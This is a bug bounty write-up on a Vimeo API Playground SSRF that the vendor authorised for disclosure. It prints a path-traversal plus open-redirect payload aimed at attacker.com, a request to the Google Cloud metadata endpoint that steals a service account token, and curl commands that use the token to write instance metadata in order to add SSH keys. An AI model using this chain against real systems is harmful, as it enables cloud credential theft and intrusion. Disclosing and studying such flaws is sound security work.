Vimeo SSRF with code execution potential.

Harsh Jaiswal
Mar 8, 2019 · 4 min read

Recently I discovered a semi responded SSRF on Vimeo with code execution possibility. This blog post explains how I found & exploited it. So let's get started.

Vimeo provides an API console for their API called API Playground, The requests made using this web app is done from server-side. Take the bellow request as an example.

Image for post
Image for post
Base request

This request is supposed to make a server-side GET request to

https://api.vimeo.com/users/{user_id}/videos/{video_id}

If you look closely to the request we control quite of things here, First the uri parameter which is the endpoint to hit on endpoint i.e. in this case is /users/{user_id}/videos/{video_id} , Request method i.e., in this case, is set to GET , params which are supposed to be post parameters if the request method is POST. user_id & video_id are kind of variables whose values gets defined in segments parameter.

I first tried to change URI parameter to my custom path however any change in URI will result in a 403, Means that they’re allowing a set of API endpoints. However, changing the value of variables such as user_id & videos_id is possible because they’re intentional and because these values reflect in the path of URL. Passing ../../../ will result in a request to ROOT of api.vimeo.com
Below is what happens.

URL.parse(“https://api.vimeo.com/users/1122/videos/../../../attacker”)

Result: https://api.vimeo.com/attacker

Image for post
Image for post
Path traversal in HTTP requests made on server side

As you can see in response all endpoints of api.vimeo.com is listed which is root response of api.vimeo.com if you make an authenticated request (with authorization header).

Well, I figured that this is following HTTP 30X redirects, Its a long story took a Lil bit of logical thinking.

Back to the point, Now I know this is following HTTP redirects and we’re good to move forward, We need an open redirect so that we can redirect server to our controlled asset.

A minute of content discovery and I came across an endpoint on api.vimeo.com which makes a redirection to vimeo.com with our controlled path on vimeo.com

https://api.vimeo.com/m/something

Image for post
Image for post
api.vimeo.com to vimeo.com

Cool, Now we have a wide scope to find an open redirect, I have a not very useful open redirect on vimeo.com, I won't be disclosing its details but let's just assume it is something like this

https://vimeo/vulnerable/open/redirect?url=https://attacker.com

This makes a 302 redirect to attacker.com,

The final payload to redirect the server to our controlled asset is

../../../m/vulnerable/open/redirect?url=https://attacker.com

Passing this value inside video_id will parse URL in this way

https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com

Which on parsing becomes

https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com

HTTP redirection made & followed to

https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com

Another HTTP redirection made & followed to

https://attacker.com

Image for post
Image for post
SSRF Achieved, Redacted details regarding the open redirect and my domain.

The server expects a JSON response and parses it and shows in response.

As Vimeo infrastructure is on Google cloud, My first attempt was to hit the Google metadata API. I followed the approach taken by André Baptista (0xacb)

This endpoint gives us service account token.

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

{ “headers”: [ “HTTP/1.1 200”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: 200, “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: 2631, “token_type”: “Bearer” } }

Scope of token

$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  
Response:{ "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" }

I could then use this token to add my public SSH key to the instance and then connect via my private key

$ curl -X POST “https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]}
Response:
{ “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceMetadata”, “targetLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “10423XXXXXXXX-compute@developer.gserviceaccount.com”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"}

And…

Image for post
Image for post
keys added
Image for post
Image for post
*Le me

However, SSH port was open on the internal network only :(( but this was enough to prove that internally this can be escalated to shell access.

Kubernetes keys were also extracted from metadata API, but for some reason, I was not able to use them, Although the Vimeo team did confirm they were valid.

Due to my work & involvement with Vimeo, I was allowed to go deeper than would normally have been allowed.

That’s it, folks. I hope you liked this. Share/Re-Tweet is much appreciated, Have any questions regarding this? DM @ rootxharsh

Vimeo team for allowing disclosure of this issue.

Andre (0xacb) for his awesome report

Brett (bbuerhaus) for his write up about this SSRF (He and Ben have some lit AF writeups)

28th Jan early morning: Initial discovery.

28th Jan: Triaged by HackerOne team

28th Jan: Vimeo team rewarded initial $100 and pushed a temporary fix.

30th/31st Jan: Permanent fix pushed

1st Feb: $4900 rewarded.

InfoSec Write-ups

A collection of write-ups from the best hackers in the…

Harsh Jaiswal

Written by

AppSec at Vimeo, Bug Bounty in free time :)

InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew

Harsh Jaiswal

Written by

AppSec at Vimeo, Bug Bounty in free time :)

InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch

Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore

Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store